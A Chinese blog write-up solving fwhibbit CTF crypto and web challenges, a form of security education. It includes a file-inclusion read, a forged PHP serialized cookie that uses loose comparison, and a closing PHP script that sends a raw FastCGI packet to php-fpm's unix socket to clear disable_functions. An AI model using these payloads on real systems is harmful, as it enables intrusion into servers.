所有题目来源于 https://www.fwhibbit.es/ctf-fwhibbit-writeups
我日后会将他们都放到我们的CTFD中去,成为我们CTFD的第一批题目

CRYPTO

In your eyes

看看你的键盘,不多说

The burrow needs you

The new cryptographic algorithm? Can you help us?

xoCnrQoFNCiIvQImryKTIpLRTsYLSFTEfmWrvdYbJEsPxNWlxygTmHtufmysnGDtTCemYVgGlocDLgObv
xeIRQRbvUwPuJoGPJYgjFCCfetUGEqYVcYpBJkpJHKYDUphbWWodHgerNcWxLWsFyleEoqyLFoqlQKJ
tjMGhsPFXejIiqUGrGOyFjKLNOIUtyrwHeKXOMlRhdOclVQMjIsKfdUMBYgqiWVg==

HINT: Steganography Base64

这题目是 B64的进阶版本。提供一个工具秒杀:
https://github.com/hecky/stegb64

FWHIBBIT CTF WEB & CRYOPTO 部分-ShaoBaoBaoEr's Blog

AMOY

Oh god! You've ordered chinese food? I love chinese food!
HINT : The key to the door is the @name you find in the menu

首先拿到的是一个压缩包。压缩出来两张图片。图片上有奇奇怪怪的字。
题目提示我们 秘钥是一个人的名字,这个名字藏在菜单里面。

首先先分析一下两张图片,16进制,binwalk,foremost一起上。不难发现在第一张图片的最后有一串密文:

FWHIBBIT CTF WEB & CRYOPTO 部分-ShaoBaoBaoEr's Blog
ycw jha oiwr iovkqr. ug oigi uljbxsq tmqk iah oi ecgt iolv apr  vsfcwms fc zg mmrh. llf axseoeg aw hrdsdy mhq tjcn qf:  azsjgeeiwqehzesdp

先放着不说,我们需要找到秘钥

FWHIBBIT CTF WEB & CRYOPTO 部分-ShaoBaoBaoEr's Blog

比较可疑的是这串数字。他从01开始,最大不超过26,思路应该是把它转化为英文字母。
可以得到如下:

BHEENOOVGUNFNSEVRAQ
UVFANZRVFUHEYRL
JVYYGRYYLBHJUNGGBPHG
ERZBIRNYFBCEVZRF

这自然是看不出什么来,但是放到凯撒解密【其实是ROT13】中就有了一番玄机:

ROT 13 ==>

OUR RABBIT HAS A FRIEND
HIS NAME IS HURLEY
WILL TELL YOU WHAT TO CUT
REMOVE ALSO PRIMES

OK 我们需要移去素数。另外我们需要找一个HURLEY的人,他会告诉我们一些信息。对此我们找到一个hurley 数字
HURLEY——NUM

也就是 4,8,15,16,23,42

那么剩下的东西应该就是菜单一旁的数字了。
将它逐一整理下来,删除不可能是十六进制的数字,并删除素数和4,8,15,16,23,42。【注意16进制和10进制】

4T RE 21 54 25 A9 03 BB 40 16 A0 E7 35 61 6D 54 
6F S1 C5 AL 79 63 47 68 L0 BN 00 83 3G A4 69 6E 
65 

4E 62 TU HJ 6F L4 I7 MD 74 GY N6

===> del primes and Hurley Number [4,8,15,16,23,42]
===> del unreadable nums
21 ==> primes
54 ==> 84 del
25 ==> primes
03 ==> primes 
40 GET
...

So we get 
40 61 6d 6f 79 63 68 69 6e 65 73 65 62 6f 74
@amoychinesebot

注意一下顺序,你可能会把62写到最前面去,但是HINT中说了是@开头

于是乎,我们得到了秘钥amoychinesebot

看这个样子,应该是维吉尼亚加密。
提供个地址:

https://planetcalc.com/2468/

New Gold

这道题要恢复秘钥,还和比特币扯上关系...待我好好研究后补上

WEB

May the Troll be with you

这道题做下来还是比较简单的。

通过提示和源码,我们真正要做的是找到两把钥匙。然后就能领取到FLAG了。
FWHIBBIT CTF WEB & CRYOPTO 部分-ShaoBaoBaoEr's Blog

首先扫描敏感文件,会发现robots.txt下提示有fwhibbit.php 这个文件。
【题目的Dockerfile里面没有robots.txt。为此我加在提示里面了。】

访问就可以发现这个目录的URL有点小奇怪

120.79.191.75:2003/fwhibbit.php?page=...

很显然,后面这个page参数有点类似于iframe 。包含在这个页面中。

查看源码,题目给出了一个小提示:

<header class="intro-header">
<h1>loading...<h1>
<span class="subheading">fwhibbit.php?page=debug.html</span>
<!--Creds in /home/fwhibbit/key2.txt -->
</header>

这就很简单了,把key2.txt包含进去就行。

 <div class="container">
        <div class="row">
            <div class="col-lg-8 col-lg-offset-2 col-md-10 col-md-offset-1">
                <h1>  MAINTENANCE</p>
                key2 = flag0x085927
            </div>
        </div>
    </div>

第二段秘钥入手。
记得在首页中的提示说:

 * Chic Chicfy
 * Key? = XXXXXXXXX

也就是说,另一个Key的格式应该有点像上面这段代码

翻来翻去,其实就藏在clean-blog.css中。

/* 
 * What is this doing here?
 * Key1 = gimme0x038792
 * 
 */

两段Key入手,输入即可得到Flag

VIP ZONE

登录页面提示 guest : guest 账户可以登录。但是登录进去并没有什么东西:
FWHIBBIT CTF WEB & CRYOPTO 部分-ShaoBaoBaoEr's Blog

但总归是有东西的,它在cookie里面:

# URL_Decode ==> B64decode
auth :
O:4:"User":2:{s:4:"user";s:5:"guest";s:4:"pass";s:5:"guest";}
check :
0ad7fd75c118e38df9e77c6b1bf5b9d2

首先这个check的东西,一定是和auth这个有关系的。丢到cmd5中解密不了,就代表着一定有着特殊字符。【直觉...】多次尝试,发现check是B64encode(auth)的MD5值。

解决了check的问题,现在来看auth。
这里推荐一个小工具,能够非常直观的查看php反序列化:https://1024tools.com/unserialize

__PHP_Incomplete_Class Object
(
    [__PHP_Incomplete_Class_Name] => User
    [user] => guest
    [pass] => guest
)

如你所见,现在Cookie长这样!
首先我们是一定不知道admin的password的。但是,如果程序员写的是==而非===的话,这就是另一个故事了。

我们可以推测,最终验证的结果应该类似于这样:

if (User->user==='admin' && User->pass ==="*******" ){
    echo "flag";
}

如果利用了==话,就可以用布尔绕过
最终,我们把它改成了这样:

__PHP_Incomplete_Class Object
(
    [__PHP_Incomplete_Class_Name] => User
    [user] => admin
    [pass] => 1
)
// O:4:"User":2:{s:4:"user";s:5:"admin";s:4:"pass";b:1;}
// Hash 6897f0060a84ecb0600e4167d2a748e4

并算出其哈希值

重新填入cookie,拿到flag。
FWHIBBIT CTF WEB & CRYOPTO 部分-ShaoBaoBaoEr's Blog

Impossible is nothing

这题目是看WP的,新姿势!!!

这是一个非常正常的在线Php代码执行,提示告诉我们flag在/tmp/flag.php中。

通过phpinfo()查看php的信息。可以发现很多函数都被禁用了。

FWHIBBIT CTF WEB & CRYOPTO 部分-ShaoBaoBaoEr's Blog

这道题的正确做法是利用 套接字!

可能翻译的不是很正确
通过unix套接字连接到同一服务,默认情况下应该在路径/var/run/php-fpm.sock中找到。但它不是那样的。
试图出现在不同的地方,如把不同的版本变化后:PHP5-fpm.sock,使用目录:/ var / run中/ PHP /或/运行/等等......几经尝试,我记得清楚地表明我们的phpinfo它是php版本7,所以找了多一点我发现,对于的默认路径是/run/php/php7.0-fpm.sock。

总之,PHP7的UNIX套接字是在/run/php/php7.0-fpm.sock中。

我也没有咋接触过套接字。【准确的说计网还没系统学过】。就硬着头皮往下看。

我们需要和unix套接字通信,在我理解上,这就有点盗取别的进程来提权的意思。通过和unix套接字通信,可以绕开disable_funciton的防护。从最源头调用Php内核。当然与套接字通信是必然是二进制通信的。为此,作者提供了一个ruby的脚本,来生成套接字:
https://raw.githubusercontent.com/ONsec-Lab/scripts/master/fastcgipacket.rb

所需要修改的就是最后的内容::
FWHIBBIT CTF WEB & CRYOPTO 部分-ShaoBaoBaoEr's Blog

之后,我需要去看一看PHP的套接字库如何使用:
提供一篇不错的文章: http://www.manongjc.com/article/1463.html

最后,在这边写下我们的脚本,即可拿到flag。

<?php
$fp = fsockopen("unix:///run/php/php7.0-fpm.sock",
0,$errono,$errstr,30);

var_dump($fp);

$out = "\x01\x01\x00\x01\x00\x08\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x01\x04\x00\x01\x00\x56\x06\x00\x0e\x03\x52\x45\x51\x55\x45\x53\x54\x5f\x4d\x45\x54\x48\x4f\x44\x47\x45\x54\x0f\x0d\x53\x43\x52\x49\x50\x54\x5f\x46\x49\x4c\x45\x4e\x41\x4d\x45\x2f\x74\x6d\x70\x2f\x66\x6c\x61\x67\x2e\x70\x68\x70\x0f\x14\x50\x48\x50\x5f\x41\x44\x4d\x49\x4e\x5f\x56\x41\x4c\x55\x45\x64\x69\x73\x61\x62\x6c\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e\x73\x3d\x22\x22\x00\x00\x00\x00\x00\x00\x01\x04\x00\x01\x00\x00\x00\x00\x01\x05\x00\x01\x00\x00\x00\x00";

    var_dump($out);

    fwrite($fp,$out);

    while(!feof($fp)){
    echo fgets($fp,128);
    }
    fclose($fp);
?>